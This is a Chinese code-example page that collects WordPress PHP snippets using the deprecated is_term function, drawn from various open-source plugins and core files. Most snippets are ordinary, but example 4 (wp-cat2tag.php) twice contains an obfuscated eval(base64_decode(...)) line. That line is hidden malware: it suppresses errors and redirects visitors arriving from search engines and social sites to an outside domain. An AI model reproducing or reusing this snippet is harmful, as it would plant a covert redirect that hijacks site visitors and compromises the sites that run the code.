• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP is_term函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中is_term函数的典型用法代码示例。如果您正苦于以下问题:PHP is_term函数的具体用法?PHP is_term怎么用?PHP is_term使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了is_term函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: add_mediatags_alternate_link

function add_mediatags_alternate_link()
{
    global $wp_version;
    $mediatag_rss_feed = get_option('mediatag_rss_feed', 'yes');
    if (!$mediatag_rss_feed || $mediatag_rss_feed != "yes") {
        return;
    }
    $mediatag_var = get_query_var(MEDIA_TAGS_QUERYVAR);
    //echo "mediatag_var<pre>"; print_r($mediatag_var); echo "</pre>";
    if ($mediatag_var) {
        if (version_compare($wp_version, '3.0', '<')) {
            $mediatag_term = is_term($mediatag_var, MEDIA_TAGS_TAXONOMY);
        } else {
            $mediatag_term = term_exists($mediatag_var, MEDIA_TAGS_TAXONOMY);
        }
        if ($mediatag_term) {
            $mediatag_term = get_term($mediatag_term['term_id'], MEDIA_TAGS_TAXONOMY);
            $feed_title = get_bloginfo('name') . " &raquo; " . __('Media-Tags RSS Feed', MEDIA_TAGS_I18N_DOMAIN) . " &raquo; " . $mediatag_term->name;
            $feed_link = get_mediatag_link($mediatag_term->term_id, true);
            if ($feed_link) {
                ?>
<link id="MediaTagsRSS" rel="alternate" type="application/rss+xml"
					title="<?php 
                echo $feed_title;
                ?>
" 
					href="<?php 
                echo $feed_link;
                ?>
" />
				<?php 
            }
        }
    }
}
开发者ID:vsalx,项目名称:rattieinfo,代码行数:35,代码来源:mediatags_feed.php


示例2: get_feature_price

 public function get_feature_price($term_slug)
 {
     if (!is_term($term_slug, 'soya-range')) {
         return;
     }
     if (soya_term_has_children($term_slug)) {
         return;
     }
     // $this->feature_price = get_post_meta($this->_features_id, $this->get_feature_meta_key($term_slug), true);
 }
开发者ID:sabali33,项目名称:customizing-product,代码行数:10,代码来源:class-wc-product-soya-variable.php


示例3: import_post_exists

 public function import_post_exists($idnumbers)
 {
     global $wpdb;
     $post_id = FALSE;
     $post_ids = $tt_ids = array();
     foreach ($idnumbers as $idnum) {
         $tt_ids[] = get_term((int) is_term((string) $idnum['id']), $idnum['type']);
     }
     if (count($tt_ids)) {
         foreach ($tt_ids as $k => $tt_id) {
             if (isset($tt_id->term_taxonomy_id)) {
                 $tt_ids[$k] = (int) $tt_id->term_taxonomy_id;
             } else {
                 unset($tt_ids[$k]);
             }
         }
         if (!count($tt_ids)) {
             return FALSE;
         }
         $post_ids = $wpdb->get_col("SELECT object_id, COUNT(*) AS hits\n\t\t\t\tFROM {$wpdb->term_relationships}\n\t\t\t\tWHERE term_taxonomy_id IN ('" . implode('\',\'', $tt_ids) . "')\n\t\t\t\tGROUP BY object_id\n\t\t\t\tORDER BY hits DESC\n\t\t\t\tLIMIT 100");
         if (1 < count($post_ids)) {
             // de-index the duplicate posts
             // TODO: what if they have comments? What if others have linked to them?
             $this->import_deindex_post($post_ids);
             //				usleep( 250000 ); // give the database a moment to settle
         }
         foreach ($post_ids as $post_id) {
             if (get_post($post_id)) {
                 return $post_id;
             }
         }
     }
     return FALSE;
 }
开发者ID:nrporter,项目名称:scriblio,代码行数:34,代码来源:compatibility.php


示例4: convert_categories

    function convert_categories()
    {
        global $wpdb;
        if ((!isset($_POST['cats_to_convert']) || !is_array($_POST['cats_to_convert'])) && empty($this->categories_to_convert)) {
            ?>
			<div class="narrow">
			<p><?php 
            eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
            printf(__('Uh, oh. Something didn&#8217;t work. Please <a href="%s">try again</a>.'), 'admin.php?import=wp-cat2tag');
            ?>
</p>
			</div>
<?php 
            eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
            return;
        }
        if (empty($this->categories_to_convert)) {
            $this->categories_to_convert = $_POST['cats_to_convert'];
        }
        $hier = _get_term_hierarchy('category');
        $hybrid_cats = $clear_parents = $parents = false;
        $clean_term_cache = $clean_cat_cache = array();
        $default_cat = get_option('default_category');
        echo '<ul>';
        foreach ((array) $this->categories_to_convert as $cat_id) {
            $cat_id = (int) $cat_id;
            if (!$this->_category_exists($cat_id)) {
                echo '<li>' . sprintf(__('Category %s doesn&#8217;t exist!'), $cat_id) . "</li>\n";
            } else {
                $category =& get_category($cat_id);
                echo '<li>' . sprintf(__('Converting category <strong>%s</strong> ... '), $category->name);
                // If the category is the default, leave category in place and create tag.
                if ($default_cat == $category->term_id) {
                    if (!($id = is_term($category->slug, 'post_tag'))) {
                        $id = wp_insert_term($category->name, 'post_tag', array('slug' => $category->slug));
                    }
                    $id = $id['term_taxonomy_id'];
                    $posts = get_objects_in_term($category->term_id, 'category');
                    $term_order = 0;
                    foreach ($posts as $post) {
                        $values[] = $wpdb->prepare("(%d, %d, %d)", $post, $id, $term_order);
                        clean_post_cache($post);
                    }
                    if ($values) {
                        $wpdb->query("INSERT INTO {$wpdb->term_relationships} (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)");
                        $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $category->count, $category->term_id));
                    }
                    echo __('Converted successfully.') . "</li>\n";
                    continue;
                }
                // if tag already exists, add it to all posts in the category
                if ($tag_ttid = $wpdb->get_var($wpdb->prepare("SELECT term_taxonomy_id FROM {$wpdb->term_taxonomy} WHERE term_id = %d AND taxonomy = 'post_tag'", $category->term_id))) {
                    $objects_ids = get_objects_in_term($category->term_id, 'category');
                    $tag_ttid = (int) $tag_ttid;
                    $term_order = 0;
                    foreach ($objects_ids as $object_id) {
                        $values[] = $wpdb->prepare("(%d, %d, %d)", $object_id, $tag_ttid, $term_order);
                    }
                    if ($values) {
                        $wpdb->query("INSERT INTO {$wpdb->term_relationships} (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)");
                        $count = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->term_relationships} WHERE term_taxonomy_id = %d", $tag_ttid));
                        $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $count, $category->term_id));
                    }
                    echo __('Tag added to all posts in this category.') . " *</li>\n";
                    $hybrid_cats = true;
                    $clean_term_cache[] = $category->term_id;
                    $clean_cat_cache[] = $category->term_id;
                    continue;
                }
                $tt_ids = $wpdb->get_col($wpdb->prepare("SELECT term_taxonomy_id FROM {$wpdb->term_taxonomy} WHERE term_id = %d AND taxonomy = 'category'", $category->term_id));
                if ($tt_ids) {
                    $posts = $wpdb->get_col("SELECT object_id FROM {$wpdb->term_relationships} WHERE term_taxonomy_id IN (" . join(',', $tt_ids) . ") GROUP BY object_id");
                    foreach ((array) $posts as $post) {
                        clean_post_cache($post);
                    }
                }
                // Change the category to a tag.
                $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET taxonomy = 'post_tag' WHERE term_id = %d AND taxonomy = 'category'", $category->term_id));
                // Set all parents to 0 (root-level) if their parent was the converted tag
                $parents = $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET parent = 0 WHERE parent = %d AND taxonomy = 'category'", $category->term_id));
                if ($parents) {
                    $clear_parents = true;
                }
                $clean_cat_cache[] = $category->term_id;
                echo __('Converted successfully.') . "</li>\n";
            }
        }
        echo '</ul>';
        if (!empty($clean_term_cache)) {
            $clean_term_cache = array_unique(array_values($clean_term_cache));
            clean_term_cache($clean_term_cache, 'post_tag');
        }
        if (!empty($clean_cat_cache)) {
            $clean_cat_cache = array_unique(array_values($clean_cat_cache));
            clean_term_cache($clean_cat_cache, 'category');
        }
        if ($clear_parents) {
            delete_option('category_children');
        }
        if ($hybrid_cats) {
//.........这里部分代码省略.........
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:101,代码来源:wp-cat2tag.php


示例5: do_action_ref_array


//.........这里部分代码省略.........
             $reqcat = get_category_by_path($q['category_name'], false);
         }
         if (!empty($reqcat)) {
             $reqcat = $reqcat->term_id;
         } else {
             $reqcat = 0;
         }
         $q['cat'] = $reqcat;
         $join = " LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) LEFT JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) ";
         $whichcat = " AND {$wpdb->term_taxonomy}.taxonomy = 'category' ";
         $in_cats = array($q['cat']);
         $in_cats = array_merge($in_cats, get_term_children($q['cat'], 'category'));
         $in_cats = "'" . implode("', '", $in_cats) . "'";
         $whichcat .= "AND {$wpdb->term_taxonomy}.term_id IN ({$in_cats})";
         $groupby = "{$wpdb->posts}.ID";
     }
     // Tags
     if ('' != $q['tag']) {
         if (strpos($q['tag'], ',') !== false) {
             $tags = preg_split('/[,\\s]+/', $q['tag']);
             foreach ((array) $tags as $tag) {
                 $tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
                 $q['tag_slug__in'][] = $tag;
             }
         } else {
             if (preg_match('/[+\\s]+/', $q['tag'])) {
                 $tags = preg_split('/[+\\s]+/', $q['tag']);
                 foreach ((array) $tags as $tag) {
                     $tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
                     $q['tag_slug__and'][] = $tag;
                 }
             } else {
                 $q['tag'] = sanitize_term_field('slug', $q['tag'], 0, 'post_tag', 'db');
                 $reqtag = is_term($q['tag'], 'post_tag');
                 if (!empty($reqtag)) {
                     $reqtag = $reqtag['term_id'];
                 } else {
                     $reqtag = 0;
                 }
                 $q['tag_id'] = $reqtag;
                 $q['tag__in'][] = $reqtag;
             }
         }
     }
     if (!empty($q['tag__in']) || !empty($q['tag__not_in']) || !empty($q['tag__and']) || !empty($q['tag_slug__in']) || !empty($q['tag_slug__and'])) {
         $groupby = "{$wpdb->posts}.ID";
     }
     if (!empty($q['tag__in'])) {
         $join = " LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) LEFT JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) ";
         $whichcat .= " AND {$wpdb->term_taxonomy}.taxonomy = 'post_tag' ";
         $include_tags = "'" . implode("', '", $q['tag__in']) . "'";
         $whichcat .= " AND {$wpdb->term_taxonomy}.term_id IN ({$include_tags}) ";
         $reqtag = is_term($q['tag__in'][0], 'post_tag');
         if (!empty($reqtag)) {
             $q['tag_id'] = $reqtag['term_id'];
         }
     }
     if (!empty($q['tag_slug__in'])) {
         $join = " LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) LEFT JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) LEFT JOIN {$wpdb->terms} ON ({$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id) ";
         $whichcat .= " AND {$wpdb->term_taxonomy}.taxonomy = 'post_tag' ";
         $include_tags = "'" . implode("', '", $q['tag_slug__in']) . "'";
         $whichcat .= " AND {$wpdb->terms}.slug IN ({$include_tags}) ";
         $reqtag = is_term($q['tag_slug__in'][0], 'post_tag');
         if (!empty($reqtag)) {
             $q['tag_id'] = $reqtag['term_id'];
         }
开发者ID:64kbytes,项目名称:stayinba,代码行数:67,代码来源:query.php


示例6: get_page

    ?>
    <?php 
}
?>


    <div class="slide-nav">
        <div class="itemhead"></div>

        <div class="slide-nav-content">
           <?php 
$page_data = get_page($_GET['page_id']);
$page_id = $_GET['page_id'];
$title = $page_data->post_title;
$cat_to_check = get_term_by('cat_name', $title, 'category');
if (!is_term($title, 'category')) {
    $category = get_the_category($page_id);
    $title = $category[0]->cat_name;
}
?>

            <?php 
query_posts('category_name=' . $title . '&orderby=ID&order=ASC');
$covers = get_slideshow_covers($title);
$count = 0;
?>
            <!-- begin SlidingPanel -->
            <div id="newsTicker">
                <div id="ticker" class="SlidingPanels">
                    <?php 
while (have_posts()) {
开发者ID:ramonvloon,项目名称:Ingrid,代码行数:31,代码来源:page-work-preview.php


示例7: getSelectCategoryByCName

 /**
  * selectのoptionタグで返す
  */
 public function getSelectCategoryByCName($cname, $name = '')
 {
     $str = "";
     $base_cat_arr = is_term($cname, 'category');
     $cid = $base_cat_arr['term_id'];
     $cat_arr = self::getObjsFromCID($cid);
     $selected_val = 0;
     if ($name != '') {
         if (isset($_REQUEST[$name]) && $_REQUEST[$name] != '') {
             $selected_val = intval($_REQUEST[$name]);
         }
     }
     //$str .= sprintf("<select name=\"%s\">", $this->name);
     //$str .= sprintf("<option value=\"\">%s/option>", $cname);
     foreach ($cat_arr as $item) {
         $selected_str = '';
         if ($selected_val == $item->term_id) {
             $selected_str = ' selected="selected" ';
         }
         $str .= sprintf("<option value=\"%d\" %s>%s</option>\n", $item->term_id, $selected_str, $item->name);
     }
     // $str .= "</select>\n";
     return $str;
 }
开发者ID:sofp,项目名称:mycon,代码行数:27,代码来源:RzFormCategory.class.php


示例8: tag_exists

function tag_exists($tag_name) {
	return is_term($tag_name, 'post_tag');
}
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:3,代码来源:taxonomy.php


示例9: check_ajax_referer

     break;
 case 'add-link-category':
     // On the Fly
     check_ajax_referer($action);
     if (!current_user_can('manage_categories')) {
         die('-1');
     }
     $names = explode(',', $_POST['newcat']);
     $x = new WP_Ajax_Response();
     foreach ($names as $cat_name) {
         $cat_name = trim($cat_name);
         $slug = sanitize_title($cat_name);
         if ('' === $slug) {
             continue;
         }
         if (!($cat_id = is_term($cat_name, 'link_category'))) {
             $cat_id = wp_insert_term($cat_name, 'link_category');
         }
         $cat_id = $cat_id['term_id'];
         $cat_name = esc_html(stripslashes($cat_name));
         $x->add(array('what' => 'link-category', 'id' => $cat_id, 'data' => "<li id='link-category-{$cat_id}'><label for='in-link-category-{$cat_id}' class='selectit'><input value='" . esc_attr($cat_id) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-{$cat_id}'/> {$cat_name}</label></li>", 'position' => -1));
     }
     $x->send();
     break;
 case 'add-cat':
     // From Manage->Categories
     check_ajax_referer('add-category');
     if (!current_user_can('manage_categories')) {
         die('-1');
     }
     if ('' === trim($_POST['cat_name'])) {
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:31,代码来源:admin-ajax.php


示例10: term_exists

 /**
  * Compatibility wrapper for WordPress term lookup.
  */
 function term_exists($term, $taxonomy = '', $parent = 0)
 {
     if (function_exists('term_exists')) {
         // 3.0 or later
         return term_exists($term, $taxonomy, $parent);
     } else {
         return is_term($term, $taxonomy, $parent);
     }
 }
开发者ID:joaosigno,项目名称:dazake-job,代码行数:12,代码来源:csv_importer.php


示例11: add_coauthors

 function add_coauthors($post_ID, $coauthors, $append = false)
 {
     global $current_user;
     $post_ID = (int) $post_ID;
     // if an array isn't returned, create one and populate with default author
     if (!is_array($coauthors) || 0 == count($coauthors) || empty($coauthors)) {
         // @TOOD: create option for default author
         $coauthors = array(get_option('default_author'));
     }
     // Add each co-author to the post meta
     foreach (array_unique($coauthors) as $author) {
         // Name and slug of term are the username;
         $name = $author;
         // Add user as a term if they don't exist
         if (!is_term($name, $this->coauthor_taxonomy)) {
             $args = array('slug' => sanitize_title($name));
             $insert = wp_insert_term($name, $this->coauthor_taxonomy, $args);
         }
     }
     // Add authors as post terms
     if (!is_wp_error($insert)) {
         $set = wp_set_post_terms($post_ID, $coauthors, $this->coauthor_taxonomy, $append);
     } else {
         // @TODO: error
     }
 }
开发者ID:jayfresh,项目名称:SweetSpot,代码行数:26,代码来源:co-authors.php


示例12: jobman_upgrade_db

function jobman_upgrade_db($oldversion)
{
    global $wpdb;
    $options = get_option('jobman_options');
    if ($oldversion < 4) {
        // Fix any empty slugs in the category list.
        $sql = "SELECT * FROM {$wpdb->prefix}jobman_categories ORDER BY id;";
        $categories = $wpdb->get_results($sql, ARRAY_A);
        if (count($categories) > 0) {
            foreach ($categories as $cat) {
                if ('' == $cat['slug']) {
                    $slug = strtolower($cat['title']);
                    $slug = str_replace(' ', '-', $slug);
                    $sql = $wpdb->prepare("UPDATE {$wpdb->prefix}jobman_categories SET slug=%s WHERE id=%d;", $slug, $id);
                    $wpdb->query($sql);
                }
            }
        }
    }
    if ($oldversion < 5) {
        // Re-write the database to use the existing WP tables
        // Create the root jobs page
        $page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_content' => '', 'post_name' => $options['page_name'], 'post_title' => __('Jobs Listing', 'jobman'), 'post_content' => __('Hi! This page is used by your Job Manager plugin as a base. Feel free to change settings here, but please do not delete this page. Also note that any content you enter here will not show up when this page is displayed on your site.', 'jobman'), 'post_type' => 'page');
        $mainid = wp_insert_post($page);
        $options['main_page'] = $mainid;
        // Move the categories to WP categories
        $sql = "SELECT * FROM {$wpdb->prefix}jobman_categories;";
        $categories = $wpdb->get_results($sql, ARRAY_A);
        $oldcats = array();
        $newcats = array();
        if (count($categories) > 0) {
            foreach ($categories as $cat) {
                $oldcats[] = $cat['id'];
                $catid = wp_insert_term($cat['title'], 'jobman_category', array('slug' => $cat['slug'], 'description' => $cat['email']));
                $newcats[] = $catid;
            }
        }
        // Create a page for each category, so we have somewhere to store the applications
        $catpages = array();
        foreach ($categories as $cat) {
            $page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_content' => '', 'post_name' => $cat['slug'], 'post_title' => $cat['title'], 'post_type' => 'jobman_joblist', 'post_parent' => $mainid);
            $id = wp_insert_post($page);
            $catpages[] = $id;
            add_post_meta($id, '_catpage', 1, true);
            add_post_meta($id, '_cat', $newcats[array_search($cat['id'], $oldcats)], true);
        }
        // Move the jobs to posts
        $oldjobids = array();
        $newjobids = array();
        $sql = "SELECT * FROM {$wpdb->prefix}jobman_jobs;";
        $jobs = $wpdb->get_results($sql, ARRAY_A);
        if (count($jobs) > 0) {
            foreach ($jobs as $job) {
                $oldjobids[] = $job['id'];
                $page = array('comment_status' => 'closed', 'ping_status' => 'closed', 'post_status' => 'publish', 'post_author' => 1, 'post_content' => $job['abstract'], 'post_name' => strtolower(str_replace(' ', '-', $job['title'])), 'post_title' => $job['title'], 'post_type' => 'jobman_job', 'post_date' => $job['displaystartdate'], 'post_parent' => $mainid);
                $id = wp_insert_post($page);
                $newjobids[] = $id;
                add_post_meta($id, 'salary', $job['salary'], true);
                add_post_meta($id, 'startdate', $job['startdate'], true);
                add_post_meta($id, 'enddate', $job['enddate'], true);
                add_post_meta($id, 'location', $job['location'], true);
                add_post_meta($id, 'displayenddate', $job['displayenddate'], true);
                add_post_meta($id, 'iconid', $job['iconid'], true);
                // Get the old category ids
                $cats = array();
                $sql = $wpdb->prepare("SELECT c.id AS id FROM {$wpdb->prefix}jobman_categories AS c LEFT JOIN {$wpdb->prefix}jobman_job_category AS jc ON c.id=jc.categoryid WHERE jc.jobid=%d;", $job['id']);
                $data = $wpdb->get_results($sql, ARRAY_A);
                if (count($data) > 0) {
                    foreach ($data as $cat) {
                        // Make an array of the new category ids
                        if (is_term($newcats[array_search($cat['id'], $oldcats)], 'jobman_category')) {
                            wp_set_object_terms($id, $newcats[array_search($cat['id'], $oldcats)], 'jobman_category', true);
                        }
                    }
                }
            }
        }
        // Move the icons to jobman_options
        $options['icons'] = array();
        $sql = "SELECT * FROM {$wpdb->prefix}jobman_icons ORDER BY id;";
        $icons = $wpdb->get_results($sql, ARRAY_A);
        if (count($icons) > 0) {
            foreach ($icons as $icon) {
                $options['icons'][$icon['id']] = array('title' => $icon['title'], 'extension' => $icon['extension']);
            }
        }
        // Move the application fields to jobman_options
        $options['fields'] = array();
        $sql = "SELECT af.*, (SELECT COUNT(*) FROM {$wpdb->prefix}jobman_application_field_categories AS afc WHERE afc.afid=af.id) AS categories FROM {$wpdb->prefix}jobman_application_fields AS af ORDER BY af.sortorder ASC;";
        $fields = $wpdb->get_results($sql, ARRAY_A);
        if (count($fields) > 0) {
            foreach ($fields as $field) {
                $options['fields'][$field['id']] = array('label' => $field['label'], 'type' => $field['type'], 'listdisplay' => $field['listdisplay'], 'data' => $field['data'], 'filter' => $field['filter'], 'error' => $field['error'], 'sortorder' => $field['sortorder'], 'categories' => array());
                if ($field['categories'] > 0) {
                    // This field is restricted to certain categories
                    $sql = "SELECT categoryid FROM {$wpdb->prefix}jobman_application_field_categories WHERE afid={$field['id']};";
                    $field_categories = $wpdb->get_results($sql, ARRAY_A);
                    if (count($categories) > 0) {
                        foreach ($categories as $cat) {
                            foreach ($field_categories as $fc) {
//.........这里部分代码省略.........
开发者ID:pduobert,项目名称:wordpress-job-manager,代码行数:101,代码来源:db.php


示例13: explode

 $error = false;
 $tag = $_POST['tag'];
 $postid = $_POST['postid'];
 $taxonomy = 'post_tag';
 // Check values, then process.
 if (!$postid || $postid == '') {
     $error .= 'No post id was provided\\n';
 } else {
     if (!$tag || $tag == '') {
         $error .= 'No tag was provided\\n';
     } else {
         if ($_POST['action'] == 'ITT_ProcessTag') {
             $tags = explode(',', $tag);
             foreach ($tags as $solotag) {
                 $solotag = trim($solotag);
                 $check = is_term($solotag, $taxonomy);
                 if (is_null($check)) {
                     $args = array();
                     $tag = wp_insert_term($solotag, $taxonomy);
                     $tagid = $tag['term_id'];
                 } else {
                     $tagid = $check['term_id'];
                 }
                 wp_set_object_terms($postid, $tagid * 1, $taxonomy, true);
             }
         } else {
             if ($_POST['action'] == 'ITT_ProcessRemoveTag') {
                 $terms = wp_get_object_terms($postid, $taxonomy);
                 $keep = array();
                 foreach ($terms as $term) {
                     if ($term->term_id != $tag) {
开发者ID:postprefix,项目名称:inline-tag-thing,代码行数:31,代码来源:InlineTagThing.php


示例14: renameTags

	function renameTags( $old = '', $new = '' ) {
		if ( trim( str_replace(',', '', stripslashes($new)) ) == '' ) {
			$this->message = __('No new tag specified!', 'simpletags');
			$this->status = 'error';
			return;
		}
		
		// String to array
		$old_tags = explode(',', $old);
		$new_tags = explode(',', $new);
		
		// Remove empty element and trim
		$old_tags = array_filter($old_tags, array(&$this, 'deleteEmptyElement'));
		$new_tags = array_filter($new_tags, array(&$this, 'deleteEmptyElement'));
		
		// If old/new tag are empty => exit !
		if ( empty($old_tags) || empty($new_tags) ) {
			$this->message = __('No new/old valid tag specified!', 'simpletags');
			$this->status = 'error';
			return;
		}
		
		$counter = 0;
		if( count($old_tags) == count($new_tags) ) { // Rename only
			foreach ( (array) $old_tags as $i => $old_tag ) {
				$new_name = $new_tags[$i];
				
				// Get term by name
				$term = get_term_by('name', $old_tag, 'post_tag');
				if ( !$term ) {
					continue;
				}
				
				// Get objects from term ID
				$objects_id = get_objects_in_term( $term->term_id, 'post_tag', array('fields' => 'all_with_object_id'));
				
				// Delete old term
				wp_delete_term( $term->term_id, 'post_tag' );
				
				// Set objects to new term ! (Append no replace)
				foreach ( (array) $objects_id as $object_id ) {
					wp_set_object_terms( $object_id, $new_name, 'post_tag', true );
				}
				
				// Clean cache
				clean_object_term_cache( $objects_id, 'post_tag');
				clean_term_cache($term->term_id, 'post_tag');
				
				// Increment
				$counter++;
			}
			
			if ( $counter == 0  ) {
				$this->message = __('No tag renamed.', 'simpletags');
			} else {
				$this->message = sprintf(__('Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;', 'simpletags'), $old, $new);
			}
		}
		elseif ( count($new_tags) == 1  ) { // Merge
			// Set new tag
			$new_tag = $new_tags[0];
			if ( empty($new_tag) ) {
				$this->message = __('No valid new tag.', 'simpletags');
				$this->status = 'error';
				return;
			}
			
			// Get terms ID from old terms names
			$terms_id = array();
			foreach ( (array) $old_tags as $old_tag ) {
				$term = get_term_by('name', addslashes($old_tag), 'post_tag');
				$terms_id[] = (int) $term->term_id;
			}
			
			// Get objects from terms ID
			$objects_id = get_objects_in_term( $terms_id, 'post_tag', array('fields' => 'all_with_object_id'));
			
			// No objects ? exit !
			if ( !$objects_id ) {
				$this->message = __('No objects (post/page) found for specified old tags.', 'simpletags');
				$this->status = 'error';
				return;
			}
			
			// Delete old terms
			foreach ( (array) $terms_id as $term_id ) {
				wp_delete_term( $term_id, 'post_tag' );
			}
			
			// Set objects to new term ! (Append no replace)
			foreach ( (array) $objects_id as $object_id ) {
				wp_set_object_terms( $object_id, $new_tag, 'post_tag', true );
				$counter++;
			}
			
			// Test if term is also a category
			if ( is_term($new_tag, 'category') ) {
				// Edit the slug to use the new term
				$this->editTagSlug( $new_tag, sanitize_title($new_tag) );
			}
//.........这里部分代码省略.........
开发者ID:BackupTheBerlios,项目名称:oos-svn,代码行数:101,代码来源:admin.php


